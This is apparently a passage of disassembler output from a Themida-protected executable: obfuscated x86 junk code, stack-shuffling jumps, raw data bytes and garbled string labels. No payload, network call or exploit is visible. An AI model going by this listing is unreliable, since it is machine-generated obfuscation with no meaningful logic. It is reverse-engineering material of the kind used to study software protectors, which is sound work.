		dd 4B8h, 24440100h, 34FF5804h, 8B3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5574FE:				; CODE XREF: Themida_:005633A3j
		add	esi, 1A1E5EB9h
		push	esi
		mov	esi, esp
		push	3A7Bh
		mov	[esp], ebp
		mov	ebp, 468C2414h
		push	edx
		jmp	loc_554B2D
; ---------------------------------------------------------------------------


loc_55751A:				; CODE XREF: Themida_:00553A28j
		add	esp, 4
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0F9h
		dd 0E9706839h, 0FFFFF6F5h
; ---------------------------------------------------------------------------


loc_557530:				; CODE XREF: Themida_:005542F4j
		mov	[esp], edx
		jmp	loc_550B41
; ---------------------------------------------------------------------------


loc_557538:				; CODE XREF: Themida_:00554625j
		xor	ecx, [esp]
		mov	esp, [esp]
		dec	dword ptr [esp]
		pushf
		jmp	loc_5509AF
; ---------------------------------------------------------------------------


loc_557547:				; CODE XREF: Themida_:00563757j
		pop	esp
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	3BEAh
		mov	[esp], esi
		push	27CFh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		mov	edx, 4
		jmp	loc_55339C
; ---------------------------------------------------------------------------
		db 0BAh
		dd 17E53E0Ch, 608EE281h, 89683421h, 89000003h, 0B8502434h
		dd 62E97850h, 3540D0F7h, 0AA078237h, 0B493E950h, 0E95B0000h
		dd 0A957h
; ---------------------------------------------------------------------------


loc_5575A4:				; CODE XREF: Themida_:00554F67j
		add	esi, 0FFFFFFFFh
		push	eax
		push	ebp
		push	eax
		mov	eax, 445134B3h
		jmp	loc_55A676
; ---------------------------------------------------------------------------
		db 68h
		dd 33A6h, 89240489h, 405E0h, 0E8830000h, 0E5FDE904h, 815B0000h
		dd 4C4h, 8BD93100h, 82E9241Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5575DF:				; CODE XREF: Themida_:0055B8F2j
		mov	[esp], ebx
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_554EA2
; ---------------------------------------------------------------------------
byte_5575ED	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550858o
		dd 0DC31E9h
		db 0
; ---------------------------------------------------------------------------


loc_5575F5:				; CODE XREF: Themida_:005638C5j
		add	edx, 4
		add	edx, 4
		jmp	loc_55A649
; ---------------------------------------------------------------------------


loc_557603:				; CODE XREF: Themida_:0055D5F7j
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_554769
; ---------------------------------------------------------------------------


loc_55760F:				; CODE XREF: Themida_:005599EBj
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	59F3h
		mov	[esp], edi
		push	esi
		mov	esi, esp
		jmp	loc_561A11
; ---------------------------------------------------------------------------
		dd 240C895Ch, 0F6106468h, 4C295920h, 4EE90424h,	5EFFFFCDh
		dd 0FFEF58E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557641:				; CODE XREF: Themida_:005610C2j
		not	ebp
		inc	ebp
		shl	ebp, 8
		not	ebp
		push	esi
		mov	esi, 0A3146DEh
		jmp	loc_55968D
; ---------------------------------------------------------------------------
		dd 33243431h, 248B2434h, 24043024h, 9349E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557666:				; CODE XREF: Themida_:00554A4Aj
		push	ebp
		mov	ebp, 52D370B5h
		push	ecx
		mov	ecx, 0AD2C8F4Fh
		add	ebp, ecx
		jmp	loc_563ECA
; ---------------------------------------------------------------------------
aXsG		db 'XИ!ё',0
		dw 0C100h
		dd 0E0C103E0h, 30F92D08h, 0F057D59h, 484C2E28h,	0FFF55FE9h
		dd 0BAE981FFh, 5F19C139h, 0FFBBC0E9h, 0C1FE5CFFh, 81E7C180h
		dd 4ECh, 24048900h, 83E9C888h, 0FF0000CCh, 0FF042474h
		dd 525A2434h, 9FA4E9h, 19E95300h, 33000073h, 34312434h
		dd 24343324h, 94C9E9h, 0E9525A00h, 0FFFFE0F9h, 0FF241489h
		dd 0FF042474h
		db 34h,	24h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55B2E0
; ---------------------------------------------------------------------------


loc_557709:				; CODE XREF: Themida_:00551C53j
		mov	edx, 1
		sub	esi, 3BBA4522h
		jmp	loc_55CBDB
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 87h
		dd 0E90C437Ch, 0B6Ch, 0EC805A66h, 1EF480FFh, 0F658E528h
		dd 8FB3E9D5h, 0C330000h, 0F7F9E924h, 348BFFFFh,	650AE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557746:				; CODE XREF: Themida_:00553EA1j
		mov	ebx, edi
		push	69C4h
		jmp	loc_552ED5
; ---------------------------------------------------------------------------


loc_557752:				; CODE XREF: Themida_:00555A67j
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	eax
		push	dword ptr [esp]
		jmp	loc_55B0B6
; ---------------------------------------------------------------------------
		db 0D1h
		dd 3EAC1E2h, 0E01E281h,	5CE9242Dh
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557773:				; CODE XREF: Themida_:00554F85j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_55DC60
; ---------------------------------------------------------------------------


loc_55777D:				; CODE XREF: Themida_:0055BC21j
		mov	edi, 59ED116Ah
		jmp	loc_5636B2
; ---------------------------------------------------------------------------
		db 86h
		dd 86C0FEC2h, 51DAF6C2h, 0B3E9E8B5h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557797:				; CODE XREF: Themida_:005600DCj
		pop	ebp
		jmp	loc_55A2AE
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 2C48324h, 0E973B450h, 165Bh
; ---------------------------------------------------------------------------


loc_5577AC:				; CODE XREF: Themida_:0055385Aj
		pop	ecx
		jmp	loc_55D2B8
; ---------------------------------------------------------------------------


loc_5577B2:				; CODE XREF: Themida_:0055EE3Ej
		or	edx, eax
		shl	edx, 1
		push	2BDFh
		mov	[esp], edx
		push	24h
		jmp	loc_5617FA
; ---------------------------------------------------------------------------


loc_5577C8:				; CODE XREF: Themida_:0055C156j
		add	ebx, 4
		jmp	loc_5585F4
; ---------------------------------------------------------------------------
		db 1
		dd 7CC281F2h, 5E03BC5Eh, 13F9C281h, 0EA8145E1h,	69A7D7E8h
		dd 607CBA52h, 0D02935F9h, 373B055Ah, 0D0015F5Eh, 5E373B2Dh
		dd 9844E95Fh, 0F7000000h, 8324148Bh, 0F83004C4h, 6853665Bh
		dd 6ED7h, 0B2241489h, 0E9DAF6B2h, 7896h, 4C381h, 0EB830000h
		dd 241C8704h, 242C895Ch, 4AA068h, 243C8900h, 5E08950h
		dd 4, 42Dh, 24048700h, 0FFFDDBE9h, 0B8EE80FFh, 0FFA67DE9h
		dd 638F68FFh, 815F069Dh, 0E204246Ch, 29567B1Bh,	8104247Ch
		dd 0E2042444h, 8B567B1Bh, 7768243Ch, 0E9000069h, 0FFFFD40Ch
; ---------------------------------------------------------------------------


loc_55787C:				; CODE XREF: Themida_:005533A2j
		xchg	esi, [esp]
		mov	esp, [esp]
		push	55D2h
		jmp	loc_553289
; ---------------------------------------------------------------------------
aQAUsq		db 'Q╣а─мUИО',8,0
		align 4
		dd 5F63E9F7h, 0F7810000h, 20A23D00h, 45ACF781h,	0DFE9BEFEh
		dd 2D000020h, 2D27D46h,	2404335Eh, 33240431h, 2FE92404h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5578C3:				; CODE XREF: Themida_:00552643j
		sub	bl, ch
		pop	ecx
		jmp	loc_5579D3
; ---------------------------------------------------------------------------


loc_5578CB:				; CODE XREF: Themida_:0055EC66j
		xchg	esi, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_564896
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 0AB246F6Dh, 315BD889h, 5D505AD0h, 8324048Bh,	0EE0104C4h
		dd 0C71BE95Dh, 1489FFFFh, 4B85024h, 50000000h, 5E242C81h
		dd 0E97EEA70h, 0FFFFC7A2h, 2B9h, 41632D00h, 0C8016C10h
		dd 10416305h, 0BEE9596Ch, 33FFFFBEh, 0C6E92404h
		db 0DEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55793B:				; CODE XREF: Themida_:005604C6j
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_552A80
; ---------------------------------------------------------------------------
		dd 0ED81F529h, 15986035h, 0FFCC9AE9h, 0FCE952FFh
		db 2Eh,	2 dup(0)
byte_55795B	db 0F7h			; DATA XREF: Themida_:00550704o
		dd 0E99C241Ch, 0FFFF904Bh, 52CCEC80h, 0EA800EB2h, 0D8FAE92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557972:				; CODE XREF: Themida_:00564EA3j
		mov	dl, al
		mov	ch, dl
		pop	edx
		push	eax
		mov	al, ch
		jmp	loc_558C7D
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4C281h, 0C2810000h, 2, 25F3E9h
		db 0
; ---------------------------------------------------------------------------


loc_557991:				; CODE XREF: Themida_:00559D22j
		pop	ebx
		sub	ebx, 0D664EE7Ah
		mov	edx, ebx
		pop	ebx
		push	edi
		jmp	loc_55B1EA
; ---------------------------------------------------------------------------
		db 68h,	2 dup(0)
		dd 1C290000h, 9AE95B24h, 81FFFFAEh, 4C6h, 24348700h, 2434FF5Ch
		dd 81242C8Bh, 4C4h, 5D545500h, 4EC81h, 9DE90000h
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579D3:				; CODE XREF: Themida_:005578C6j
		pop	eax
		sub	bl, al
		push	dx
		mov	dh, 85h
		add	bl, 0BAh
		add	bl, 9Fh
		sub	bl, dh
		sub	bl, 9Fh
		sub	bl, 0BAh
		pop	dx
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 0D5AEE961h
		db 2 dup(0FFh)
word_5579F6	dw 34FFh		; DATA XREF: Themida_:005508BCo
aYhg		db '$Yhё',9,0
		dw 8900h
		dd 0E954243Ch, 0FFFFE433h, 2C29BA52h, 0DEE93FA2h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557A13:				; CODE XREF: Themida_:00551464j
		push	esi
		jmp	loc_5605C7
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 42474FFh, 24048F5Bh,	8124248Bh, 4C4h, 687EE900h, 0F7810000h
		dd 2A05699Dh, 7E9D7F7h,	8100003Ch, 4ECh, 241C8900h, 0EA1C52BBh
		dd 245C3107h, 45DCE904h, 0D2F60000h, 0E9F3F280h, 0FFFFC56Fh
		dd 0B4154EBDh, 81D5F70Ah, 4BEAB5F5h, 0F2C181F5h, 29020A48h
		dd 0F2E981E9h, 8B020A48h, 0C483242Ch, 7D6FE904h, 15A0000h
		dd 142D5BD8h, 0E970720Ah, 0BE7h, 0B2E9C6FEh, 1FFFFFDh
		dd 0C38358C3h, 241C8704h, 2924248Bh, 243C8BFAh,	4C481h
		dd 0D7010000h, 0D705E9h
		db 0
; ---------------------------------------------------------------------------


loc_557AB9:				; CODE XREF: Themida_:0055C071j
		xor	esi, 7E140B4Ah
		jmp	loc_5648B1
; ---------------------------------------------------------------------------


loc_557AC4:				; CODE XREF: Themida_:00561AE2j
		mov	esi, 1AD974F8h
		sub	esi, 1F24635Eh
		jmp	loc_560072
; ---------------------------------------------------------------------------


loc_557AD4:				; CODE XREF: Themida_:00552BF1j
		mov	[esp], ebp
		jmp	loc_555BCE
; ---------------------------------------------------------------------------


loc_557ADC:				; CODE XREF: Themida_:0055EC37j
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 4
		sub	ebx, edi
		jmp	loc_55D9E2
; ---------------------------------------------------------------------------
dword_557AF4	dd 240C8B66h, 8904EC83h, 0D3E92434h, 680000CFh,	7D25h
					; DATA XREF: Themida_:005508C8o
		dd 57240489h, 9A7C96BFh, 8249E943h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557B16:				; CODE XREF: Themida_:00553BBEj
		pop	ebx
		add	esi, 0FA095FBDh
		sub	ebx, esi
		pop	esi
		jmp	loc_564D65
; ---------------------------------------------------------------------------
		db 0C1h, 0E2h, 7
		dd 2675BE56h, 0EE810E36h, 0C7C1AFA9h, 815EF231h, 1EAh
		dd 68D2F700h, 716Ah, 0BD242C89h, 2FC50FCh, 0BC9AE9h
		db 0
; ---------------------------------------------------------------------------


loc_557B51:				; CODE XREF: Themida_:00555FA9j
		push	esi
		xor	dword ptr [esp], 5B3C3491h
		pop	edi
		xor	edi, 5B3C3491h
		pop	esi
		add	esi, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_562831
; ---------------------------------------------------------------------------
aYs		db 'YИю<',0
		db 0
; ---------------------------------------------------------------------------


loc_557B7F:				; CODE XREF: Themida_:0055541Bj
		push	14F0704Bh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55260F
; ---------------------------------------------------------------------------
		db 66h
		dd 6667B2BBh, 0E95FFB01h, 0B1F4h
; ---------------------------------------------------------------------------


loc_557B9C:				; CODE XREF: Themida_:00555B52j
		mov	ebp, 0B1E19D7h
		mov	esi, 0B1E19DBh
		sub	esi, ebp
		pop	ebp
		sub	ebp, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_558A78
; ---------------------------------------------------------------------------


loc_557BDB:				; CODE XREF: Themida_:00555DD5j
		and	eax, ebp
		jmp	loc_5523E2
; ---------------------------------------------------------------------------
		dw 1433h
aLI4HY		db '$▀$$┴4$h',9,'Y',0
		align 10h
		dd 81242489h, 42404h, 348B0000h, 0B8E95124h, 1FFFFA1h
		dd 2434FFE8h, 0FFDCE3E9h, 0C4815EFFh, 4, 31240C33h, 0C33240Ch
		dd 24248B24h, 0FF243489h, 5E042474h, 8B24048Fh,	0BF0F2424h
		dd 6B8668C8h, 61E90000h, 50000006h, 0FFA36DE9h,	0FF575EFFh
		dd 3C8B240Ch, 4C48324h,	81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 0C6E9241Ch, 8B00002Fh, 0F1E9243Ch
		db 36h,	2 dup(0)
byte_557C6B	db 66h			; DATA XREF: Themida_:0055094Co
		dd 68240C8Bh, 4608h, 0FF9E61E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557C79:				; CODE XREF: Themida_:005617B2j
		pop	eax
		add	eax, edx
		jmp	loc_552036
; ---------------------------------------------------------------------------
byte_557C81	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055090Co
		dd 0C5EE924h, 20E90000h, 81FFFF8Dh, 1E0DDCEFh, 240C8B37h
		dd 6804C483h, 19CEh, 48E7E9h, 0E9815900h, 0FFFFFFFFh, 8107E9C1h
		dd 3011EDF1h, 81D9F701h, 0C62EDEE9h, 0D1E98153h, 89A9F1BAh
		dd 0D52959CAh, 8124148Bh, 4C4h,	81D52900h, 0B53DECC5h
		dd 0FF555A01h, 8B042474h, 0C481242Ch, 4, 8DEAE9h, 7FBB5300h
		dd 811CEA73h, 0FFFFFFC3h, 73E1E9FFh, 0F1290000h, 0E92434FFh
		dd 0FFFFFF05h, 6E4E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557D0E:				; CODE XREF: Themida_:0056495Bj
		push	1FD4h
		jmp	loc_562434
; ---------------------------------------------------------------------------
		dd 9833E958h, 0BD55FFFFh, 0B4E74h, 60B7C581h, 48E905CAh
		dd 8900005Fh, 4C181E1h,	81000000h, 4C1h, 38E6E900h, 895C0000h
		dd 0A5E9240Ch, 55000032h, 712668h, 24248900h, 4240483h
		dd 4BB535Dh, 1000000h, 0C5835BDDh, 2DE95504h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557D6B:				; CODE XREF: Themida_:0055C54Bj
		pop	esp
		jmp	loc_551310
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 1Ch
		db '$h\',27h,0
		align 2
		dw 0C89h
		dd 0E1CEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557D82:				; CODE XREF: Themida_:0055C72Cj
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_562281
; ---------------------------------------------------------------------------


loc_557D8D:				; CODE XREF: Themida_:005658CDj
		push	edi
		mov	edi, 507E02BCh
		sub	edi, 6D8A6DB7h
		xor	edi, 1AE71F34h
		jmp	loc_554BD0
; ---------------------------------------------------------------------------


loc_557DA4:				; CODE XREF: Themida_:005580C5j
		push	ecx
		jmp	loc_564EA2
; ---------------------------------------------------------------------------
aS6		db ')ьИ#6',0
		dd 2434FF00h, 5324148Bh, 5064E9h, 0C2E95200h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557DC3:				; CODE XREF: Themida_:005646A7j
		sub	edi, ecx
		pop	ecx
		jmp	loc_55A0D7
; ---------------------------------------------------------------------------


loc_557DCB:				; CODE XREF: Themida_:00564D60j
		push	edi
		mov	edi, 675F1FA8h
		neg	edi
		or	edi, 584B5B9Eh
		neg	edi
		jmp	loc_5565A4
; ---------------------------------------------------------------------------


loc_557DE0:				; CODE XREF: Themida_:0056571Dj
		pop	eax
		pop	ecx
		shr	esi, 4
		shr	esi, 3
		dec	esi
		push	eax
		mov	eax, 0FF7F76h
		jmp	loc_55559C
; ---------------------------------------------------------------------------
		dd 0E0D7CB9h, 81D1F760h, 639362F1h, 9C781C4h, 138786Ch
		dd 9EF81CFh, 5938786Ch,	68240C8Bh, 77ABh, 89240489h, 405E0h
		dd 81E90000h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557E27:				; CODE XREF: Themida_:0055C195j
		sub	ecx, 1
		neg	ecx
		add	ecx, 1
		sub	ecx, 61CDB2F0h
		add	edx, ecx
		pop	ecx
		mov	edi, edx
		jmp	loc_5558FE
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 5491745Dh, 2AD1F581h, 0E9294219h, 14E1815Dh,	4974366Fh
		dd 0B5E9D9F7h
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557E5F:				; CODE XREF: Themida_:005647C9j
		pop	edx
		add	eax, ecx
		pop	ecx
		jmp	loc_5581B7
; ---------------------------------------------------------------------------
		dd 8BD53158h, 0C4832414h, 5DEF0104h, 2D5E68h, 242C8900h
		dd 297F6852h, 815A6CA5h, 0A5297DEAh, 8809E96Ch,	79BD0000h
		dd 0E909E534h, 82FEh, 5F2434FFh, 8104C483h, 4C7h, 0EC835600h
		dd 24048904h, 0FFD0DEE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55879C
; ---------------------------------------------------------------------------
		db 0E9h, 0E5h, 8Ah
		dd 0C89FFFFh, 8ADDE924h, 0EAC1FFFFh, 0E1B95104h, 122AB4Bh
		dd 0BE1FE9CAh, 7B680000h, 89000033h, 58542404h,	405h, 4EC8100h
		dd 89000000h, 0CDE92434h, 81000088h, 4E9h, 240C8700h, 8924248Bh
		dd 4DBA2414h, 8156FE39h, 150F8DE2h, 0A1C28140h,	8149014Bh
		dd 0FFFFFFEAh, 4E2C1FFh, 8108E2C1h, 0B51004C2h,	0AEE81AAh
		dd 105F909h, 0B22AE9D6h
		db 2 dup(0FFh)
word_557F3E	dw 34FFh		; DATA XREF: Themida_:00550820o
		dd 8FDBE924h, 7868FFFFh, 8900001Ah, 1FBD242Ch, 4546E418h
		dd 78E9EDD1h, 5D00006Ah, 6804C483h, 40DBh, 0BE243489h
		dd 53A80E5Bh, 850FE9h
		db 0
; ---------------------------------------------------------------------------


loc_557F71:				; CODE XREF: Themida_:0055D9B8j
		sub	eax, 4E8709F4h
		pop	edx
		and	esi, eax
		jmp	loc_55B3C5
; ---------------------------------------------------------------------------
		dw 15Ch
		dd 2434FFCEh, 0F3E95359h
		db 0A9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_557F8B:				; CODE XREF: Themida_:0055BCB1j
		pop	edx
		push	eax
		jmp	loc_561A00
; ---------------------------------------------------------------------------
aQhT		db 'Qh!`T',0
		dd 83240C8Bh, 0E1C104C4h, 0A7C18108h, 89D46C41h, 0D52159CAh
		dd 0FFBD25E9h, 1F9DBDFFh, 0BBE2CD9h, 1E6183Dh, 555DE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557FC2:				; CODE XREF: Themida_:0055123Dj
		push	eax
		mov	eax, 5185003Dh
		jmp	loc_563BB1
; ---------------------------------------------------------------------------


loc_557FCD:				; CODE XREF: Themida_:0055A8CFj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55E7C1
; ---------------------------------------------------------------------------
		dd 4C5815Dh, 81000000h,	4C5h, 242C8700h, 0FFF33FE9h, 0E9F700FFh
		dd 2704h, 8743DF87h, 62B951DFh,	810EC465h, 402684C9h, 9E63E94Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55800A:				; CODE XREF: Themida_:0055B4D5j
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_564E2A
; ---------------------------------------------------------------------------


loc_558018:				; CODE XREF: Themida_:0055A1D0j
		pop	ecx
		or	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 0BA2BA4B5h
		push	esi
		jmp	loc_551C4D
; ---------------------------------------------------------------------------


loc_55802F:				; CODE XREF: Themida_:00555B61j
		xchg	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_55F95C
; ---------------------------------------------------------------------------
		dd 0C2815A54h, 4, 0D438E9h, 24348B00h, 6804C483h, 1C63h
		dd 52243489h, 9530E6BAh, 8BD68977h, 0C4832414h,	0E9C38104h
		dd 29567C18h, 67B951F3h, 813EC829h, 4ECh, 24148900h, 0A721E9h
		dd 81E28900h, 4C2h, 0BA78E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558092:				; CODE XREF: Themida_:00555A4Aj
		mov	[esp], edx
		push	ebp
		jmp	loc_56067F
; ---------------------------------------------------------------------------


loc_55809B:				; CODE XREF: Themida_:0055876Aj
		xor	ecx, [esp]
		mov	esp, [esp]
		push	6473h
		mov	[esp], ebx
		push	eax
		mov	al, dl
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_557DA4
; ---------------------------------------------------------------------------


loc_5580CA:				; CODE XREF: Themida_:00553BD7j
		sub	esi, edx
		add	esi, 76DF73CBh
		push	dword ptr [esp]
		jmp	loc_565C96
; ---------------------------------------------------------------------------
		dw 0FD00h
		dd 8B4DED80h, 0C481241Ch, 4, 0E976EB80h, 0B8FDh
; ---------------------------------------------------------------------------


loc_5580F0:				; CODE XREF: Themida_:005524DDj
		mov	[esp], ebx
		jmp	loc_552387
; ---------------------------------------------------------------------------


loc_5580F8:				; CODE XREF: Themida_:00563555j
		push	5549h
		mov	[esp], edx
		jmp	loc_553C1B
; ---------------------------------------------------------------------------
		db 68h,	0AFh, 66h
		dd 0C890000h, 7487B924h, 0BE56565Ah, 565A7485h,	0B9E9F129h
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55811F:				; CODE XREF: Themida_:0056441Fj
		inc	ah
		add	ah, 0B3h
		xor	ah, 0A3h
		add	bl, 9Dh
		add	bl, ah
		jmp	loc_55701D
; ---------------------------------------------------------------------------
		db 5Ch,	53h, 54h
		dd 4C3815Bh, 0E9000000h, 2F1Bh
; ---------------------------------------------------------------------------


loc_558140:				; CODE XREF: Themida_:0055924Cj
		pop	esi
		jmp	loc_55F34E
; ---------------------------------------------------------------------------
aISnl		db '┴,$ИnL',0
		align 2


loc_55814E:				; CODE XREF: Themida_:00556508j
		add	edi, 51D4E62Eh
		mov	ebp, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		xor	esi, ebp
		jmp	loc_552239
; ---------------------------------------------------------------------------
aSzi		db 'Ё:И╖╗',0
		align 10h
a_sm		db '_ИMю',0
		align 2
aAaPsau		db '─МЛPИ²u',0
		dw 8100h
aYu2ysjc	db 'гуyu2YИjc',0
		dw 6800h
		dd 79E2h, 0BA241489h, 40FE2E3Bh, 3970E9h, 0FFCE3100h, 0CE92434h
		db 9Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5581B7:				; CODE XREF: Themida_:00557E63j
		xchg	eax, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5599E8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E2E9240Ch, 0BDFFFFC2h, 59384C0Ah, 99E9DDF7h, 0F7000089h
		dd 7BC681DEh, 0C1041106h, 0DE907EEh, 1000010h, 23E955E8h
		dd 100008Fh, 0A660E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5581FE:				; CODE XREF: Themida_:0055C360j
		sub	ebp, 4B90501h
		add	esi, ebp
		jmp	loc_55ABA5
; ---------------------------------------------------------------------------
		db 29h
		dd 89C381D3h, 0E9719733h, 0FFFFB894h, 5357E955h, 3C330000h
		dd 24248B24h, 9C2404D2h, 9B72E9h
		db 0
; ---------------------------------------------------------------------------


loc_55822D:				; CODE XREF: Themida_:0055D716j
		add	edi, ebp
		jmp	loc_5517D5
; ---------------------------------------------------------------------------
dword_558234	dd 9D1C77FFh, 11665866h, 0E99C2404h, 0FFFF876Bh
					; DATA XREF: Themida_:00550910o
; ---------------------------------------------------------------------------


loc_558244:				; CODE XREF: Themida_:005568EFj
		mov	esi, esp
		jmp	loc_556330
; ---------------------------------------------------------------------------
byte_55824B	db 0FFh			; DATA XREF: Themida_:0055076Co
		dd 5CE92C77h
		db 87h,	2 dup(0FFh)
byte_558253	db 0FFh			; DATA XREF: Themida_:00550748o
		dd 669D1C77h, 24041058h, 874DE99Ch, 0C481FFFFh,	4, 0E9E68956h
		dd 0FFFF8755h, 2DFC281h, 47687C6Dh, 89000040h, 1AE9240Ch
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_558283:				; CODE XREF: Themida_:005616EEj
		add	edi, 0FE571771h
		and	eax, edi
		jmp	loc_55E202
; ---------------------------------------------------------------------------
aBiFa0zs?v	db '│КеFa0ZИ?V',0
		align 4
		dd 0E9240C89h, 0FFFF870Bh
; ---------------------------------------------------------------------------


loc_5582A4:				; CODE XREF: Themida_:0055C754j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55AA47
; ---------------------------------------------------------------------------
		db 81h
		dd 0A304246Ch, 296AE723h, 8104245Ch, 0A3042444h, 8B6AE723h
		dd 0C481241Ch, 4, 83242C8Bh, 0C58104C4h, 3D724E34h, 1EC7815Eh
		dd 52512E63h, 3A7E08BAh, 4E2C134h, 0FFCD8CE9h, 1C8B66FFh
		dd 5C07E924h, 5A680000h, 0E9000060h, 0FFFFA3E6h
; ---------------------------------------------------------------------------


loc_558304:				; CODE XREF: Themida_:00556032j
		mov	ebp, esi
		jmp	loc_552477
; ---------------------------------------------------------------------------
		db 55h
		dd 892F52BDh, 0E9E80166h, 0FFFFC75Dh
; ---------------------------------------------------------------------------


loc_558318:				; CODE XREF: Themida_:00555DE5j
		push	edi
		mov	edi, esp
		jmp	loc_55B03D
; ---------------------------------------------------------------------------


loc_558320:				; CODE XREF: Themida_:00562E55j
		sub	ebx, 6850590h
		add	ebx, esi
		add	ebx, 6850590h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	96Dh
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_552927
; ---------------------------------------------------------------------------


loc_558360:				; CODE XREF: Themida_:00551219j
		pop	ecx
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_55736D
; ---------------------------------------------------------------------------
aBCv?Sb		db '│фC┌?ЙИ│╫',0
		db 0
; ---------------------------------------------------------------------------


loc_558375:				; CODE XREF: Themida_:0055C164j
		push	6967h
		jmp	loc_564C33
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 29A4E900h, 0B7530000h,	241FE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_558392:				; CODE XREF: Themida_:0056006Dj
		not	ebx
		add	ebx, 1
		push	esi
		mov	esi, 1CF47AD9h
		jmp	loc_5527F6
; ---------------------------------------------------------------------------


loc_5583A5:				; CODE XREF: Themida_:0055B0ECj
		add	edx, 74641AF1h
		and	edx, 4F0F1B50h
		not	edx
		add	edx, 0A3C08975h
		jmp	loc_55258F
; ---------------------------------------------------------------------------
		dw 0C801h
